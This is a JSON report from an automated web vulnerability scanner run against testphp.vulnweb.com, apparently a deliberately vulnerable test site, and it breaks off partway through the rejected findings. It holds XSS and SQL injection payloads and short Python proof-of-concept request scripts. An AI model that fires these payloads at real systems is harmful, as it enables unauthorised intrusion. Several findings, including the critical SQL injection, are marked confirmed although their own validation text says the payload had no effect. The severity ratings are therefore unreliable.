{
  "type": "full_assessment",
  "target": "http://testphp.vulnweb.com",
  "mode": "auto_pentest",
  "scan_id": "test-run-001",
  "scan_date": "2026-02-11T19:35:58.344355",
  "duration": "N/A",
  "summary": {
    "target": "http://testphp.vulnweb.com",
    "mode": "auto_pentest",
    "total_findings": 17,
    "severity_breakdown": {
      "critical": 1,
      "high": 1,
      "medium": 12,
      "low": 1,
      "info": 2
    },
    "endpoints_tested": 13,
    "technologies": [
      "Server: nginx/1.19.0",
      "PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "PHP",
      "Angular"
    ],
    "risk_level": "CRITICAL"
  },
  "findings": [
    {
      "id": "0c9cdc69",
      "title": "Reflected Cross-Site Scripting (XSS)",
      "severity": "medium",
      "vulnerability_type": "xss_reflected",
      "cvss_score": 6.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "payload": "<script>alert('XSS')</script>",
      "evidence": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects <script> tag | [CONTROLS] Negative controls passed: 0/4 controls match attack response | [AI] The payload was NOT executed for XSS. While the `<script>alert('XSS')</script>` payload appears unescaped in the PHP error message, it's being treated as a filename parameter that PHP tried to open as a file, not as HTML/JavaScript code that would execute in a browser context.\n\nThe payload was proce | [CONFIDENCE] 70/100 [likely] | [AI Validation] Payload appears in PHP error message context, not executable HTML. Script tag treated as filename parameter, not executed by browser.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "70",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "52cc495d",
      "title": "Reflected Cross-Site Scripting (XSS)",
      "severity": "medium",
      "vulnerability_type": "xss_reflected",
      "cvss_score": 6.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "payload": "<script>alert('XSS')</script>",
      "evidence": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects <script> tag | [CONTROLS] Negative controls passed: 0/4 controls match attack response | [AI] The payload was **NOT executed**. While the `<script>alert('XSS')</script>` appears unescaped in the response, it only appears within `href` attributes and form `action` attributes, which are non-executable contexts that require user interaction to trigger - this is not proof of XSS execution as the | [CONFIDENCE] 70/100 [likely] | [AI Validation] Payload appears in href/action attributes only, not in executable context. Evidence explicitly states payload was NOT executed despite being unescaped.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "70",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "3e58fcd9",
      "title": "Clickjacking",
      "severity": "medium",
      "vulnerability_type": "clickjacking",
      "cvss_score": 4.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com",
      "parameter": "",
      "payload": "",
      "evidence": "X-Frame-Options: Not set\nCSP: Not set | [AI Validation] Clickjacking confirmed via missing X-Frame-Options and CSP frame-ancestors. However, exploitation requires social engineering to trick users into visiting attacker's framing page and performing specific actions.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "eaeec648",
      "title": "Missing Xcto",
      "severity": "medium",
      "vulnerability_type": "missing_xcto",
      "cvss_score": 5.0,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com",
      "parameter": "",
      "payload": "",
      "evidence": "X-Content-Type-Options: Not set | [AI Validation] Missing X-Content-Type-Options header alone has no direct exploitability. Requires combination with file upload functionality and specific browser conditions to enable MIME type confusion attacks.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "d7ce0157",
      "title": "Missing Csp",
      "severity": "medium",
      "vulnerability_type": "missing_csp",
      "cvss_score": 5.0,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com",
      "parameter": "",
      "payload": "",
      "evidence": "Content-Security-Policy: Not set | [AI Validation] Missing CSP header alone provides no direct attack vector - requires combination with actual XSS vulnerability to be exploitable",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "34455334",
      "title": "Server Version Disclosure",
      "severity": "info",
      "vulnerability_type": "sensitive_data_exposure",
      "cvss_score": 0.0,
      "cvss_vector": "",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com",
      "parameter": "server_version",
      "payload": "",
      "evidence": "Server: nginx/1.19.0 | [AI Validation] Server version disclosure reveals nginx 1.19.0 which may have known CVEs. However, this is passive information gathering only - no active exploitation demonstrated.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "abcf7608",
      "title": "Technology Version Disclosure",
      "severity": "info",
      "vulnerability_type": "sensitive_data_exposure",
      "cvss_score": 0.0,
      "cvss_vector": "",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com",
      "parameter": "x_powered_by",
      "payload": "",
      "evidence": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1 | [AI Validation] X-Powered-By header disclosure is passive information gathering only - no active exploitation possible",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "ea6c0f6d",
      "title": "Directory Listing Enabled",
      "severity": "low",
      "vulnerability_type": "directory_listing",
      "cvss_score": 5.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "payload": "",
      "evidence": "Directory listing enabled at /images/ | [AI Validation] Directory listing reveals file names in images directory. Impact limited unless sensitive files are stored there.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "97488df4",
      "title": "Cleartext HTTP Transmission",
      "severity": "medium",
      "vulnerability_type": "cleartext_transmission",
      "cvss_score": 5.9,
      "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com",
      "parameter": "",
      "payload": "",
      "evidence": "No HTTPS endpoint available | [AI Validation] Generic finding lacks proof of sensitive data transmission. No actual interception demonstrated.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "f311e093",
      "title": "Missing CSRF Protection",
      "severity": "medium",
      "vulnerability_type": "csrf",
      "cvss_score": 4.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com",
      "parameter": "",
      "payload": "",
      "evidence": "No CSRF token found in form fields: ['searchFor', 'goButton'] | [AI Validation] Missing CSRF tokens alone is not proof of CSRF vulnerability. No actual cross-site request was tested or demonstrated. Search forms typically have minimal impact even if CSRF-vulnerable.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "353c0744",
      "title": "Missing CSRF Protection",
      "severity": "medium",
      "vulnerability_type": "csrf",
      "cvss_score": 4.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/",
      "parameter": "",
      "payload": "",
      "evidence": "No CSRF token found in form fields: ['searchFor', 'goButton'] | [AI Validation] Missing CSRF tokens detected but no actual cross-site request forgery demonstrated. Evidence shows token absence but not successful exploitation or sensitive action impact.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "baef037e",
      "title": "Missing CSRF Protection",
      "severity": "medium",
      "vulnerability_type": "csrf",
      "cvss_score": 4.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "payload": "",
      "evidence": "No CSRF token found in form fields: ['name', 'submit', 'text'] | [AI Validation] Missing CSRF token alone is not proof of CSRF vulnerability. No payload was tested, no cross-origin request was attempted, and no evidence shows the form actually accepts requests without proper validation.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "cc224919",
      "title": "Missing CSRF Protection",
      "severity": "medium",
      "vulnerability_type": "csrf",
      "cvss_score": 4.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "payload": "",
      "evidence": "No CSRF token found in form fields: ['searchFor', 'goButton'] | [AI Validation] Missing CSRF token alone is insufficient evidence. No proof that form performs state-changing operations or that exploitation was successful. Search forms typically perform GET requests which are not CSRF-vulnerable by design.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "0e2bf40b",
      "title": "Missing CSRF Protection",
      "severity": "medium",
      "vulnerability_type": "csrf",
      "cvss_score": 4.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "payload": "",
      "evidence": "No CSRF token found in form fields: ['searchFor', 'goButton'] | [AI Validation] Missing CSRF tokens alone is insufficient evidence. No proof that state-changing operations exist or that the form performs sensitive actions. Search forms typically don't require CSRF protection.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "31613abf",
      "title": "Missing CSRF Protection",
      "severity": "medium",
      "vulnerability_type": "csrf",
      "cvss_score": 4.3,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "payload": "",
      "evidence": "No CSRF token found in form fields: ['searchFor', 'goButton'] | [AI Validation] Missing CSRF tokens on search form - low impact read-only functionality",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "c058a2a4",
      "title": "Error-based SQL Injection",
      "severity": "critical",
      "vulnerability_type": "sqli_error",
      "cvss_score": 9.8,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/search.php?test='",
      "parameter": "test",
      "payload": "'",
      "evidence": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] Negative controls passed: 0/4 controls match attack response | [AI] The payload was **ignored/filtered**. The response shows a normal HTML page with standard DOCTYPE, meta tags, and JavaScript - there are no database error messages or SQL syntax errors present, which means the single quote either didn't reach the database query or was properly sanitized. | [CONFIDENCE] 70/100 [likely] | [AI Validation] AI analysis contradicts claimed SQL error - payload was filtered/ignored, response shows normal HTML. Evidence appears fabricated or misinterpreted.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": false,
      "confidence": "70",
      "ai_status": "confirmed",
      "rejection_reason": ""
    },
    {
      "id": "8b4f706a",
      "title": "Insecure Direct Object Reference (Idor)",
      "severity": "high",
      "vulnerability_type": "insecure_direct_object_reference_(idor)",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "cwe_id": "",
      "description": "",
      "affected_endpoint": "http://testphp.vulnweb.com/showimage.php?file=1",
      "parameter": "",
      "payload": "",
      "evidence": "URL http://testphp.vulnweb.com/showimage.php?file=1 returns PHP error messages: 'Warning: fopen(1): failed to open stream: No such file or directory' and 'Warning: fpassthru() expects parameter 1 to be resource, boolean given'. Content-Type is image/jpeg but response contains PHP errors. | [AI Validation] PHP error messages indicate file parameter processing but no actual file access or data disclosure demonstrated. Error shows failed file open attempt, not successful IDOR exploitation.",
      "impact": "",
      "poc_code": "",
      "remediation": "",
      "references": [],
      "ai_verified": true,
      "confidence": "0",
      "ai_status": "confirmed",
      "rejection_reason": ""
    }
  ],
  "rejected_findings": [
    {
      "id": "a4c012b9",
      "title": "Authentication Bypass",
      "severity": "critical",
      "vulnerability_type": "auth_bypass",
      "cvss_score": 9.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "cwe_id": "CWE-287",
      "description": "Authentication mechanisms can be bypassed through various techniques.",
      "affected_endpoint": "http://testphp.vulnweb.com/admin?id='+OR+'1'%3D'1",
      "parameter": "id",
      "payload": "' OR '1'='1",
      "evidence": "Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?id='+OR+'1'%3D'1 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 controls show same behavior as attack (benign, benign, empty, no_param) | [AI] The payload was NOT processed/executed for authentication bypass. The 301 redirect response is a standard HTTP redirect (likely due to URL normalization or routing rules) and contains only generic nginx HTML - there's no evidence the SQL injection payload `' OR '1'='1` was interpreted by a database  | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete unauthorized access to user accounts and protected resources.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Vulnerability Proof of Concept\nTarget: http://testphp.vulnweb.com/admin?id='+OR+'1'%3D'1\nParameter: id\nPayload: ' OR '1'='1\nEvidence: Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?id='+OR+'1'%3D'1 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED:\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nurl = \"http://testphp.vulnweb.com/admin?id='+OR+'1'%3D'1\"\nparam = \"id\"\npayload = \"' OR '1'='1\"\n\nparams = {param: payload}\nresp = requests.get(url, params=params, verify=False, timeout=15)\n\nprint(f\"Status: {resp.status_code}\")\nprint(f\"Length: {len(resp.text)}\")\nprint(f\"Headers: {dict(list(resp.headers.items())[:10])}\")\nif payload in resp.text:\n    print(f\"[!] Payload reflected in response!\")\nprint(f\"\\nResponse (first 500 chars):\\n{resp.text[:500]}\")\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/admin?id='\\''+OR+'\\''1'\\''%3D'\\''1?id='\\'' OR '\\''1'\\''='\\''1'\n",
      "remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "a4c012b9",
      "title": "Authentication Bypass",
      "severity": "critical",
      "vulnerability_type": "auth_bypass",
      "cvss_score": 9.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "cwe_id": "CWE-287",
      "description": "Authentication mechanisms can be bypassed through various techniques.",
      "affected_endpoint": "http://testphp.vulnweb.com/admin?id=admin'--",
      "parameter": "id",
      "payload": "admin'--",
      "evidence": "Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?id=admin'-- | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 controls show same behavior as attack (benign, benign, empty, no_param) | [AI] The payload was **ignored/filtered**. The server returned a standard 301 redirect response with generic nginx HTML content, showing no signs that the SQL injection payload `admin'--` was processed by any authentication logic - it appears the request was simply redirected before reaching the vulnerab | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete unauthorized access to user accounts and protected resources.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Vulnerability Proof of Concept\nTarget: http://testphp.vulnweb.com/admin?id=admin'--\nParameter: id\nPayload: admin'--\nEvidence: Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?id=admin'-- | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 \n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nurl = \"http://testphp.vulnweb.com/admin?id=admin'--\"\nparam = \"id\"\npayload = \"admin'--\"\n\nparams = {param: payload}\nresp = requests.get(url, params=params, verify=False, timeout=15)\n\nprint(f\"Status: {resp.status_code}\")\nprint(f\"Length: {len(resp.text)}\")\nprint(f\"Headers: {dict(list(resp.headers.items())[:10])}\")\nif payload in resp.text:\n    print(f\"[!] Payload reflected in response!\")\nprint(f\"\\nResponse (first 500 chars):\\n{resp.text[:500]}\")\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/admin?id=admin'\\''--?id=admin'\\''--'\n",
      "remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "a4c012b9",
      "title": "Authentication Bypass",
      "severity": "critical",
      "vulnerability_type": "auth_bypass",
      "cvss_score": 9.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "cwe_id": "CWE-287",
      "description": "Authentication mechanisms can be bypassed through various techniques.",
      "affected_endpoint": "http://testphp.vulnweb.com/admin?id=admin'+%23",
      "parameter": "id",
      "payload": "admin' #",
      "evidence": "Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?id=admin'+%23 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 controls show same behavior as attack (benign, benign, empty, no_param) | [AI] The payload was **not executed**. The 301 redirect response with standard nginx HTML indicates a URL redirection occurred, likely due to a missing trailing slash or similar routing rule - there's no evidence the SQL injection payload `admin' #` was processed by any authentication logic or database q | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete unauthorized access to user accounts and protected resources.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Vulnerability Proof of Concept\nTarget: http://testphp.vulnweb.com/admin?id=admin'+%23\nParameter: id\nPayload: admin' #\nEvidence: Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?id=admin'+%23 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nurl = \"http://testphp.vulnweb.com/admin?id=admin'+%23\"\nparam = \"id\"\npayload = \"admin' #\"\n\nparams = {param: payload}\nresp = requests.get(url, params=params, verify=False, timeout=15)\n\nprint(f\"Status: {resp.status_code}\")\nprint(f\"Length: {len(resp.text)}\")\nprint(f\"Headers: {dict(list(resp.headers.items())[:10])}\")\nif payload in resp.text:\n    print(f\"[!] Payload reflected in response!\")\nprint(f\"\\nResponse (first 500 chars):\\n{resp.text[:500]}\")\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/admin?id=admin'\\''+%23?id=admin'\\'' #'\n",
      "remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)"
    },
    {
      "id": "a49c55eb",
      "title": "Authentication Bypass",
      "severity": "critical",
      "vulnerability_type": "auth_bypass",
      "cvss_score": 9.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "cwe_id": "CWE-287",
      "description": "Authentication mechanisms can be bypassed through various techniques.",
      "affected_endpoint": "http://testphp.vulnweb.com/admin?q='+OR+'1'%3D'1",
      "parameter": "q",
      "payload": "' OR '1'='1",
      "evidence": "Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?q='+OR+'1'%3D'1 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 controls show same behavior as attack (benign, benign, empty, no_param) | [AI] The payload was **ignored/not processed**. The 301 redirect response is a standard HTTP redirect (likely due to URL structure/routing) and shows no indication that the SQL injection payload `' OR '1'='1` was processed by any database layer - it's just a generic nginx redirect page with no database i | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete unauthorized access to user accounts and protected resources.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Vulnerability Proof of Concept\nTarget: http://testphp.vulnweb.com/admin?q='+OR+'1'%3D'1\nParameter: q\nPayload: ' OR '1'='1\nEvidence: Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?q='+OR+'1'%3D'1 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: \n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nurl = \"http://testphp.vulnweb.com/admin?q='+OR+'1'%3D'1\"\nparam = \"q\"\npayload = \"' OR '1'='1\"\n\nparams = {param: payload}\nresp = requests.get(url, params=params, verify=False, timeout=15)\n\nprint(f\"Status: {resp.status_code}\")\nprint(f\"Length: {len(resp.text)}\")\nprint(f\"Headers: {dict(list(resp.headers.items())[:10])}\")\nif payload in resp.text:\n    print(f\"[!] Payload reflected in response!\")\nprint(f\"\\nResponse (first 500 chars):\\n{resp.text[:500]}\")\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/admin?q='\\''+OR+'\\''1'\\''%3D'\\''1?q='\\'' OR '\\''1'\\''='\\''1'\n",
      "remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "a49c55eb",
      "title": "Authentication Bypass",
      "severity": "critical",
      "vulnerability_type": "auth_bypass",
      "cvss_score": 9.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "cwe_id": "CWE-287",
      "description": "Authentication mechanisms can be bypassed through various techniques.",
      "affected_endpoint": "http://testphp.vulnweb.com/admin?q=admin'--",
      "parameter": "q",
      "payload": "admin'--",
      "evidence": "Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?q=admin'-- | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 controls show same behavior as attack (benign, benign, empty, no_param) | [AI] The payload was **ignored/filtered**. The 301 redirect response is a standard HTTP redirect with generic nginx HTML content, showing no signs that the SQL injection payload `admin'--` was processed by the application logic - it appears the server simply redirected the request without executing the m | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete unauthorized access to user accounts and protected resources.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Vulnerability Proof of Concept\nTarget: http://testphp.vulnweb.com/admin?q=admin'--\nParameter: q\nPayload: admin'--\nEvidence: Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?q=admin'-- | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 c\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nurl = \"http://testphp.vulnweb.com/admin?q=admin'--\"\nparam = \"q\"\npayload = \"admin'--\"\n\nparams = {param: payload}\nresp = requests.get(url, params=params, verify=False, timeout=15)\n\nprint(f\"Status: {resp.status_code}\")\nprint(f\"Length: {len(resp.text)}\")\nprint(f\"Headers: {dict(list(resp.headers.items())[:10])}\")\nif payload in resp.text:\n    print(f\"[!] Payload reflected in response!\")\nprint(f\"\\nResponse (first 500 chars):\\n{resp.text[:500]}\")\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/admin?q=admin'\\''--?q=admin'\\''--'\n",
      "remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "a49c55eb",
      "title": "Authentication Bypass",
      "severity": "critical",
      "vulnerability_type": "auth_bypass",
      "cvss_score": 9.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "cwe_id": "CWE-287",
      "description": "Authentication mechanisms can be bypassed through various techniques.",
      "affected_endpoint": "http://testphp.vulnweb.com/admin?q=admin'+%23",
      "parameter": "q",
      "payload": "admin' #",
      "evidence": "Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?q=admin'+%23 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4 controls show same behavior as attack (benign, benign, empty, no_param) | [AI] The payload was **ignored/not processed** by the application. The 301 redirect response is a standard HTTP redirect (likely due to a missing trailing slash or URL rewrite rule) and contains only generic nginx HTML with no indication that the SQL injection payload `admin' #` was interpreted by any da | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete unauthorized access to user accounts and protected resources.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Vulnerability Proof of Concept\nTarget: http://testphp.vulnweb.com/admin?q=admin'+%23\nParameter: q\nPayload: admin' #\nEvidence: Auth bypass: Redirect to http://testphp.vulnweb.com/admin/?q=admin'+%23 | [NO PROOF] Cannot verify auth_bypass: 0 data fields, 0 denial indicators, status 301 | [CONTROLS] NEGATIVE CONTROL FAILED: 4/4\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nurl = \"http://testphp.vulnweb.com/admin?q=admin'+%23\"\nparam = \"q\"\npayload = \"admin' #\"\n\nparams = {param: payload}\nresp = requests.get(url, params=params, verify=False, timeout=15)\n\nprint(f\"Status: {resp.status_code}\")\nprint(f\"Length: {len(resp.text)}\")\nprint(f\"Headers: {dict(list(resp.headers.items())[:10])}\")\nif payload in resp.text:\n    print(f\"[!] Payload reflected in response!\")\nprint(f\"\\nResponse (first 500 chars):\\n{resp.text[:500]}\")\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/admin?q=admin'\\''+%23?q=admin'\\'' #'\n",
      "remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
